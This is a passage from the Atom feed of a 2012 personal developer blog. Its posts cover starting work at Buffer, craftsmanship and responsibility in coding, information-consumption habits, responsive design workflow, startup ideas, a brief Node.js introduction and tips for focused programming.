   <content type="html">&lt;p&gt;I&amp;#8217;d like to share a few things I&amp;#8217;ve learned just in the small time I&amp;#8217;ve been at &lt;a href='http://bufferapp.com'&gt;Buffer&lt;/a&gt;, where I started last week.&lt;/p&gt;

&lt;p&gt;This could be advice for anyone joining a new team – and I&amp;#8217;ll try to keep it punchy and to the point.&lt;/p&gt;

&lt;h3 id='do_your_research'&gt;Do your research&lt;/h3&gt;

&lt;p&gt;Before you start, find out what technologies you&amp;#8217;ll be working with. This will help you hit the ground running, and means you can talk on near the same level as those who are intimate with the codebase. I was familiar with all the technologies Buffer use except Backbone.js, so in the few days before I started I read tutorials and worked through some examples. Fortunately, I haven&amp;#8217;t yet touched the Backbone stuff!&lt;/p&gt;

&lt;p&gt;This should be obvious, but I&amp;#8217;ll say it anyway: if you&amp;#8217;re going to be working on a product, you&amp;#8217;d damn well better be using it, or at least know what it does and &lt;strong&gt;why&lt;/strong&gt;.&lt;/p&gt;

&lt;h3 id='jump_in'&gt;Jump in&lt;/h3&gt;

&lt;p&gt;As soon as I had access to the repositories, I cloned them and dived into the code. I was looking for important things like dashboard, button, account, settings.&lt;/p&gt;

&lt;p&gt;Search for anything you know is a keyword within your product, find it and take a look. Get an idea of how data flows through the application. Make a note of anything you don&amp;#8217;t understand or want to know more about, it&amp;#8217;ll be useful later.&lt;/p&gt;

&lt;p&gt;You don&amp;#8217;t have to learn the whole thing straight away, and honestly, you won&amp;#8217;t be able to, but getting a general overview is invaluable.&lt;/p&gt;

&lt;h3 id='set_small_goals_complete_them'&gt;Set small goals. Complete them.&lt;/h3&gt;

&lt;p&gt;I learned this the hard way. After a hugely productive first couple of days, I saw the deployment of my first Buffer code; I&amp;#8217;d rewritten the Buffer button, with a few million impressions per-day. It went out, it worked; I was ecstatic. I could take on the world.&lt;/p&gt;

&lt;p&gt;But I lost sight of the small goals. Next up was tackling the browser extensions. The goals I set myself in &lt;a href='http://sprint.ly'&gt;Sprint.ly&lt;/a&gt; were &amp;#8220;make the chrome plugin more awesome&amp;#8221; and &amp;#8220;refactor the extensions &amp;amp; button to use the same Javascript&amp;#8221;. Huge, lofty and very non-specific.&lt;/p&gt;

&lt;p&gt;I had two highly unproductive days, felt terrible and emailed Joel &amp;amp; Leo. While writing the email I figured it out; small goals. Leo was fantastic and emailed me the next day with a specific task. In a few hours it was done and I was onto the next thing.&lt;/p&gt;

&lt;p&gt;Aim for the achievable.&lt;/p&gt;

&lt;h3 id='more_to_come'&gt;More to come&amp;#8230;&lt;/h3&gt;

&lt;p&gt;This is just the beginning of my time at Buffer, and there&amp;#8217;s a huge amount I&amp;#8217;ve yet to learn. Joel, Leo &amp;amp; Tom are awesome: dedicated, enthusiastic and talented (a dangerous combo!), and it&amp;#8217;s fantastic to be part of that great team.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Be Responsible</title>
   <link href="http://phuu.net/2012/04/02/be-responsible.html"/>
   <updated>2012-04-02T00:00:00+01:00</updated>
   <id>http://phuu.net/2012/04/02/be-responsible</id>
   <content type="html">&lt;p&gt;A great music teacher once described to me the important distinction between a player and a musician, and how I should always strive to be a musician. It has stuck with me ever since.&lt;/p&gt;

&lt;p&gt;The player happily sits in rehearsals, plays the notes on the page and is technically good. There&amp;#8217;s nothing to complain about, but undoubtedly something is missing. The player would never move you to tears with their performance.&lt;/p&gt;

&lt;p&gt;The musician listens and responds to others around her, is engaged with the music, takes an active interest in improving herself and pours time and energy into her craft. For the musician, the player is the baseline, and emotion is a key difference. The musician takes responsibility for the music she is part of creating.&lt;/p&gt;

&lt;p&gt;When it comes to mastery of code, the analogy of a craftsman is good to a certain degree, but it falls down when you consider the pace of change of this fields. A craftsman will hone his technique for many years, learning from a master, often using the same techniques for all of that time. Clearly, that concept does not and cannot apply to technology and code, not least because its full history extends back a mere 60 years.&lt;/p&gt;

&lt;p&gt;I prefer the analogy of the player and the musician. The baseline is to be a top-notch player: technically strong; good coding style and practices; doing the necessities well. From there, strive to be like the musician: engaged with your work; taking an active interest in self-improvement and learning; responsive to changes in best practice; responsible for your end product.&lt;/p&gt;

&lt;p&gt;That last point, responsibility, may be the most important. Be a musician, be a craftsman. But be responsible for what you create.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>You'd have invented Facebook</title>
   <link href="http://phuu.net/2012/03/30/youd-have-invented-facebook.html"/>
   <updated>2012-03-30T00:00:00+01:00</updated>
   <id>http://phuu.net/2012/03/30/youd-have-invented-facebook</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;If you guys were the inventors of Facebook, you&amp;#8217;d have invented Facebook.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This quote, from The Social Network, hints at the difference between action and inaction. I find myself saying, &amp;#8220;I had that idea months ago&amp;#8221;, nearly always followed by, &amp;#8220;but I did nothing.&amp;#8221; It&amp;#8217;s irrelevant what the idea is, it means nothing if you don&amp;#8217;t act upon it.&lt;/p&gt;

&lt;p&gt;This is why being able to code is so fantastically empowering. It&amp;#8217;s a privilege to be able to put something into the world just because you want it to exist. That said, you cannot merely will things into existence. After the 1% inspiration comes the 99% perspiration.&lt;/p&gt;

&lt;p&gt;Even with the best idea in the world, if you do not, you get not.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Pleasant Irony</title>
   <link href="http://phuu.net/2012/03/30/pleasant-irony.html"/>
   <updated>2012-03-30T00:00:00+01:00</updated>
   <id>http://phuu.net/2012/03/30/pleasant-irony</id>
   <content type="html">&lt;p&gt;Thanks to &lt;a href='http://twitter.com/#!/rythie'&gt;Richard Cunningham&lt;/a&gt;, who submitted it, my post on &lt;a href='http://phuu.net/2012/03/28/consumption-addition.html'&gt;Consumption Addiction&lt;/a&gt; did rather well on &lt;a href='http://news.ycombinator.com/item?id=3770357'&gt;Hacker News&lt;/a&gt;. Nothing of mine had ever been on there, so it was a (pleasant) surprise to see it at #4 for a good hour, and on the front page for some hours after.&lt;/p&gt;

&lt;p&gt;I was totally blown away by the response, particularly the comment critiquing the article that was longer than what I&amp;#8217;d actually written! It was interesting to note that I seemed to touch a nerve, perhaps it&amp;#8217;s a serious issue that needs more research and explanation.&lt;/p&gt;

&lt;p&gt;I find it ironic however that Hacker News is precisely the kind of place where people lurk, consuming the fruit of other&amp;#8217;s labours. My hope would be that the article turns people from spending most of their time on Hacker News, or any other fixation, to spending just &lt;strong&gt;some&lt;/strong&gt; time on it. I&amp;#8217;m not saying reading interesting articles is bad — there&amp;#8217;s a time and place for all of it. Everything in moderation.&lt;/p&gt;

&lt;p&gt;I promise to shut up about consumption now. For a while.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Consumption Addiction</title>
   <link href="http://phuu.net/2012/03/28/consumption-addiction.html"/>
   <updated>2012-03-28T00:00:00+01:00</updated>
   <id>http://phuu.net/2012/03/28/consumption-addiction</id>
   <content type="html">&lt;p&gt;&lt;a href='http://penny-arcade.com/patv/show/extra-credits'&gt;Extra Credits&lt;/a&gt; is a weekly video blog that takes a deep, analytical look at games and the games industry, but in a friendly and engaging cartoon package. I love it. In season 3, they spent two episodes discussing game addiction; the second of which was an extremely honest and very moving story told by the show&amp;#8217;s writer, James Portnow, about his struggle with an addiction to gaming. I found it fascinating — it&amp;#8217;s 20 minutes long, but I really think you &lt;a href='http://penny-arcade.com/patv/episode/game-addiction-pt.2'&gt;should watch it&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It made me think about addiction and compulsion, and so I thought I&amp;#8217;d share a habit I&amp;#8217;m trying to break: consumption addiction.&lt;/p&gt;

&lt;p&gt;I don&amp;#8217;t mean food; I mean consumption of information. I mean podcasts, videocasts, blog posts, tutorials, talks and any other form of digital content you care to name, including Twitter.&lt;/p&gt;

&lt;p&gt;The internet makes it stunningly easy to access a wealth of information on a very large scale, and more is added faster than is consumable. While this is one of the reasons I love the internet, I fell a trap where I was consuming so much I wasn&amp;#8217;t creating.&lt;/p&gt;

&lt;p&gt;On the surface, it feels great; learning, gaining knowledge and understanding is fantastic, and that&amp;#8217;s why it&amp;#8217;s so tempting to keep on consuming, even when I felt the nervousness that comes with creative drought.&lt;/p&gt;

&lt;p&gt;At worst, I&amp;#8217;d spend many hours in a day watching every single video I could find containing a few of my favourite people (across a variety of topics): Christopher Hitchens, Dan Dennet, Richard Dawkins, Ryan Dahl, Paul Irish, Sam Harris, Jason Fried and others. I&amp;#8217;ve watched some talks, lasting over an hour, 4 or 5 times.&lt;/p&gt;

&lt;p&gt;I would have days where I&amp;#8217;d become very depressed because, after all that, I hadn&amp;#8217;t created anything. Nothing had come of it and it had no tangible benefit. I realised I was consuming merely to pass the time, and using it as a way to escape from real work.&lt;/p&gt;

&lt;p&gt;This is where my &lt;a href='http://phuu.net/2012/03/26/create-more-than-you-consume.html'&gt;Create More Than You Consume&lt;/a&gt; post takes over. Now, I&amp;#8217;m trying my best to create something every day, blog as often as I can and generally be a source rather than a destination for the information on the internet. I still value consumption extremely highly — there&amp;#8217;s nothing I enjoy more than learning something new — but I need to be a creator, not a consumer.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Responsive Workflow</title>
   <link href="http://phuu.net/2012/03/27/responsive-workflow.html"/>
   <updated>2012-03-27T00:00:00+01:00</updated>
   <id>http://phuu.net/2012/03/27/responsive-workflow</id>
   <content type="html">&lt;p&gt;Responsive workflow is a hot topic so, naturally, I thought I&amp;#8217;d weigh in with my thoughts. But I&amp;#8217;d like to clear somethings up:&lt;/p&gt;

&lt;p&gt;Firstly, I&amp;#8217;m not entirely happy calling it &amp;#8216;responsive&amp;#8217; work flow, because it&amp;#8217;s just workflow. Everything I make is responsive (or, at least, adaptive), so being explicit about responsiveness is tautology. Secondly, workflow is the never the same from project to project, so this is just a general idea of how I work.&lt;/p&gt;

&lt;h3 id='sketch'&gt;Sketch&lt;/h3&gt;

&lt;p&gt;In general, I&amp;#8217;ll sketch out as many ideas as I can. I&amp;#8217;ve started using a six-up technique, gleaned from Robbie Mansons&amp;#8217;s &lt;a href='http://vimeo.com/35720464'&gt;talk&lt;/a&gt; at New Adventures 2012 (and re-brought to my attention by Andy Higgs). You draw six boxes, quickly and roughly sketching six different solutions to a problem. I&amp;#8217;ll do this twice, take four of the best, and repeat, mutating existing ideas. This way I can quickly iterate towards a solution.&lt;/p&gt;

&lt;p&gt;&lt;img alt='Six-Up Sketching' src='/images/responsive-workflow.jpg' /&gt;&lt;/p&gt;

&lt;p&gt;Whilst sketching, in my mind I try to have a picture of what the design would look like at many different sizes. Sometimes I&amp;#8217;ll sketch these layouts too.&lt;/p&gt;

&lt;h3 id='code'&gt;Code&lt;/h3&gt;

&lt;p&gt;Most of the time, I&amp;#8217;ll then jump straight into code, putting together a basic structure &amp;amp; layout for the page. This will nearly always be fluid. While I don&amp;#8217;t generally use grids, perhaps I should.&lt;/p&gt;

&lt;h3 id='typography'&gt;Typography&lt;/h3&gt;

&lt;p&gt;Typography is absolutely fundamental for a great looking website. Choosing the right typeface, size &amp;amp; line-spacing in order to establish a vertical rhythm is key, and one of the first things I do. I use Tim Brown&amp;#8217;s &lt;a href='http://modularscale.com'&gt;Modular Scale&lt;/a&gt; to generate a harmonious grid, and then stick to these measurements as I move into Typecast. All sizes are in ems.&lt;/p&gt;

&lt;p&gt;&lt;a href='http://typecastapp.com'&gt;Typecast&lt;/a&gt; is a great tool, letting you use actual web fonts from Typekit, Fontdeck and the Google Font Directory live. It&amp;#8217;s an increasingly important tool for me. Sign up for the beta — it&amp;#8217;s definitely worth a try.&lt;/p&gt;

&lt;h3 id='photoshop'&gt;Photoshop&lt;/h3&gt;

&lt;p&gt;I&amp;#8217;ll also often jump in and out of Photoshop; it&amp;#8217;s far quicker to throw together layouts and prototypes than in code. You could almost say Photoshop is a sketch tool. I never do pixel-perfect mockups.&lt;/p&gt;

&lt;h3 id='breakpoints'&gt;Breakpoints&lt;/h3&gt;

&lt;p&gt;Where would we be in a blog post about responsive design without talk of breakpoints? Quite far, it seems.&lt;/p&gt;

&lt;p&gt;To me, breakpoints are exactly that. Wherever your design breaks, you&amp;#8217;ve got a breakpoint. I&amp;#8217;ll try to fix it with CSS first, with a media query as a last-resort. Don&amp;#8217;t project your design onto specific devices, because that defeats the whole purpose of responsive design: device agnosticism.&lt;/p&gt;

&lt;h3 id='other_stuff'&gt;Other stuff&lt;/h3&gt;

&lt;p&gt;Chrome Web Inspector is invaluable for making tweaks to a page before moving back to code. I&amp;#8217;m not very comfortable with Firefox&amp;#8217;s inspector, but they&amp;#8217;re innovating in that area so hopefully it will be useful in the future.&lt;/p&gt;

&lt;p&gt;Other browsers are also vitally important. Device agnosticism applies to browsers too, so don&amp;#8217;t be snooty. Opera&amp;#8217;s important too.&lt;/p&gt;

&lt;p&gt;I hope this helps you when you&amp;#8217;re working on a responsive design. Thanks for reading!&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Create More Than You Consume</title>
   <link href="http://phuu.net/2012/03/26/create-more-than-you-consume.html"/>
   <updated>2012-03-26T00:00:00+01:00</updated>
   <id>http://phuu.net/2012/03/26/create-more-than-you-consume</id>
   <content type="html">&lt;p&gt;I recently read Chris Wake&amp;#8217;s post on Quora entitled &lt;a href='http://www.quora.com/Chris-Wake/Posts/Hidden-habits-of-ineffective-people'&gt;Habits of Ineffective People&lt;/a&gt;, and it seriously jarred me. I saw too much of myself reflected; it perfectly expressed the rut in which I&amp;#8217;d found myself. Consuming far more than I&amp;#8217;d been creating, I&amp;#8217;d spent too much time worrying about vanity metrics and been lazy. Time to change.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;ve come up with a set of rules for myself. They are pinned to the wall by my desk so that I never forget them.&lt;/p&gt;

&lt;p&gt;&lt;img alt='Create more than you consume. Forget followers. Prioritise work. Focus &amp;amp; set a goal.' src='/images/create-more-than-you-consume.jpg' /&gt;&lt;/p&gt;

&lt;p&gt;I hope they help you too, particularly if you find yourself in the same situation.&lt;/p&gt;

&lt;p&gt;You can also grab a &lt;a href='/images/Create.jpg'&gt;desktop size version&lt;/a&gt;. Email me if you&amp;#8217;d like it even bigger.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>The Hard Stuff</title>
   <link href="http://phuu.net/2012/03/24/the-hard-stuff.html"/>
   <updated>2012-03-24T00:00:00+00:00</updated>
   <id>http://phuu.net/2012/03/24/the-hard-stuff</id>
   <content type="html">&lt;p&gt;Why are so many startups focusing on social and sharing? These aren&amp;#8217;t hugely difficult problems when you think about it, so who&amp;#8217;s taking on the hard stuff?&lt;/p&gt;

&lt;p&gt;Maybe this is the issue: Eric Ries&amp;#8217; definition of a startup is &amp;#8220;a human institution designed to deliver a new product or service under conditions of extreme uncertainty&amp;#8221;, so it follows that with the harder problems the uncertainty is even greater and that this is what puts people off.&lt;/p&gt;

&lt;p&gt;There have been a few posts floating around the intertubes on this subject, some even suggesting a few of their own ideas, so here&amp;#8217;s a few of mine. In an ideal world, I&amp;#8217;d try one. Maybe.&lt;/p&gt;

&lt;p&gt;There are probably startups working in these areas, but I haven&amp;#8217;t heard of them, so I guess they could be doing a better job!&lt;/p&gt;

&lt;h3 id='publishing_music__literature'&gt;Publishing (music &amp;amp; literature)&lt;/h3&gt;

&lt;p&gt;The publishing industry is similary screwed up. I can see some serious potential out there for canny entrepreneurs to do some great stuff in this space. Bloggers like Seth Godin, comedians like Louis CK and the bands letting fans pay what they like have proved that there is room for innovation.&lt;/p&gt;

&lt;p&gt;There&amp;#8217;s even more space for work in the book industry, and I&amp;#8217;m seriously interested in doing it myself. Problem is: I&amp;#8217;d have to work with authors. Nightmare.&lt;/p&gt;

&lt;h3 id='education'&gt;Education&lt;/h3&gt;

&lt;p&gt;The current university education model, in the UK at least, has serious issues. I&amp;#8217;ll be writing about this more in the future, but for now let the following sufice: the system&amp;#8217;s broken, and it ain&amp;#8217;t gonna change anytime soon. Not of its occord, and not without a push.&lt;/p&gt;

&lt;h3 id='printers'&gt;Printers&lt;/h3&gt;

&lt;p&gt;Home/office printers are (in the main) a load of crap. I have a vision of a gorgeous, monotone, fast, usable, economic and reliable printer with reasonable ink (or other techonology) costs. I would pay good money for that — I don&amp;#8217;t need colour and scanning and faxing and tea-making and breakfast-cooking and massaging and psychotherapy.&lt;/p&gt;

&lt;p&gt;OK, so maybe I do need the last few (you decide which), but wouldn&amp;#8217;t the rest be nice?&lt;/p&gt;

&lt;p&gt;Those are just a few of the ideas I&amp;#8217;ve been toying with. There are others, like massive data and life optimisation, and I might have some news kinda on that front soon.&lt;/p&gt;

&lt;p&gt;If you&amp;#8217;re interested in working on any of this with me, then email me &lt;a href='mailto:tom@phuu.net?subject=Big%20Ideas'&gt;here&lt;/a&gt;.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>A Short Intro to Node.js</title>
   <link href="http://phuu.net/2012/03/20/a-short-intro-to-node-js.html"/>
   <updated>2012-03-20T00:00:00+00:00</updated>
   <id>http://phuu.net/2012/03/20/a-short-intro-to-node-js</id>
   <content type="html">&lt;p&gt;I gave a short talk at the &lt;a href='http://multipack.co.uk'&gt;Multipack&amp;#8217;s&lt;/a&gt; Show &amp;amp; Tell event in February about a favourite development stack of mine: Node.js and MongoDB, deployed on Heroku. Here I&amp;#8217;ll present why you might want to give Node a try, and later move on to Mongo.&lt;/p&gt;

&lt;p&gt;Node.js is a platform built on Google&amp;#8217;s V8 Javascript engine. At the lowest level it&amp;#8217;s a set of event driven, non-blocking network APIs. But what does that actually mean? Let&amp;#8217;s have a look…&lt;/p&gt;

&lt;p&gt;In simple terms Node provides server-side Javascript, allowing you to do everything you could with PHP, Ruby, Python or other server-side language.&lt;/p&gt;

&lt;p&gt;If you&amp;#8217;re a PHPer, you&amp;#8217;ll have seen this kind of code before:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='php'&gt;
$data = mysql_query(&quot;SELECT * FROM users&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But do you know what happens when this line is called?&lt;/p&gt;

&lt;p&gt;Nothing. Your code, your app and your server do nothing.&lt;/p&gt;

&lt;p&gt;That&amp;#8217;s an over-simplification, but for our purposes it&amp;#8217;s workable. When PHP requests some data from a mysql database server, the thread in which that code it running &amp;#8216;blocks&amp;#8217;. This means that nothing else happens in that thread until the data returns, and then the code continues running. That&amp;#8217;s bad, partially because it could take a very long time. If you&amp;#8217;d like to know more, try &lt;a href='http://debuggable.com/posts/understanding-node-js:4bd98440-45e4-4a9a-8ef7-0f7ecbdd56cb'&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Node.js is different because it is asynchronous, event-driven &amp;amp; non-blocking. This means that after a request for data is sent, Node carries on processing your code, and then goes into an idle state until the data is received. This makes it highly performant in traffic-heavy situations - which is always good.&lt;/p&gt;

&lt;p&gt;If you&amp;#8217;re familiar with Javascript already then you&amp;#8217;ll feel right at home with Node, as the browser also runs an event loop. Things like setTimeout(…) work exactly as you&amp;#8217;d expect.&lt;/p&gt;

&lt;p&gt;I hope this quick summary encourages you to give Node a try, it&amp;#8217;s a great platform. There&amp;#8217;s much more documentation and video introductions available on &lt;a href='http://nodejs.org'&gt;Node&amp;#8217;s website&lt;/a&gt;. I&amp;#8217;ll tackle Node with Mongo soon.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>In the Zone</title>
   <link href="http://phuu.net/2012/03/19/in-the-zone.html"/>
   <updated>2012-03-19T00:00:00+00:00</updated>
   <id>http://phuu.net/2012/03/19/in-the-zone</id>
   <content type="html">&lt;p&gt;For me, being &amp;#8220;in the zone&amp;#8221; is very important if I want to get any significant amount programming done. It&amp;#8217;s commonly said that it may take 30 minutes to get to a state of concentrated focus, but a mere 30 seconds of distraction to lose it.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;ve been trying to find a ways of optimising how I get into such a zone, and, while this is totally un-scientific, here&amp;#8217;s 3 things that work for me. Why not see if they&amp;#8217;ll work for you?&lt;/p&gt;

&lt;h3 id='hydrate'&gt;Hydrate&lt;/h3&gt;

&lt;p&gt;I have a big glass of water nearby at all times. Humans need water, and I&amp;#8217;m no exception. Neither are you. Probably.&lt;/p&gt;

&lt;h3 id='silence__music'&gt;Silence / Music&lt;/h3&gt;

&lt;p&gt;Sometimes I work better in silence, and other times with music.&lt;/p&gt;

&lt;p&gt;Living in halls, it&amp;#8217;s not really an option to ask everyone to be quiet, so I tend to don a pair of over-ear headphones, plugged into nothing. You could also try very low-level white noise, or an ambient sound like the sea.&lt;/p&gt;

&lt;p&gt;When it comes to music, no lyrics is the single most important factor. If I&amp;#8217;m coding, the last thing I want is to be hearing of someone else&amp;#8217;s troubles. I (like Notch) favour minimal house (Trentemøller), ambient/breaks (Hybrid Soundsytem 01) or drum &amp;amp; bass. Deadmau5 is good too.&lt;/p&gt;

&lt;h3 id='lights'&gt;Lights&lt;/h3&gt;

&lt;p&gt;This may be a strange one, but if I really want to focus on some code then the lights are going off. Jeff Atwood has written some great stuff on this, and I pretty much follow his advice. Light behind the screen, ambient lights off. The strip lighting I have (and wish I didn&amp;#8217;t) is absolutely the worst kind and is also in the worst possible place, directly behind and above my head, so it has to go off. My Macbook&amp;#8217;s backlit keyboard helps too.&lt;/p&gt;

&lt;p&gt;I hope you get something from what I&amp;#8217;ve discovered to help you focus for a hardcore code session. I have a whole different set of criteria for design work, and I&amp;#8217;ll cover them another time, perhaps.&lt;/p&gt;

&lt;p&gt;Thanks for reading!&lt;/p&gt;</content>
 </entry>
 
 
</feed>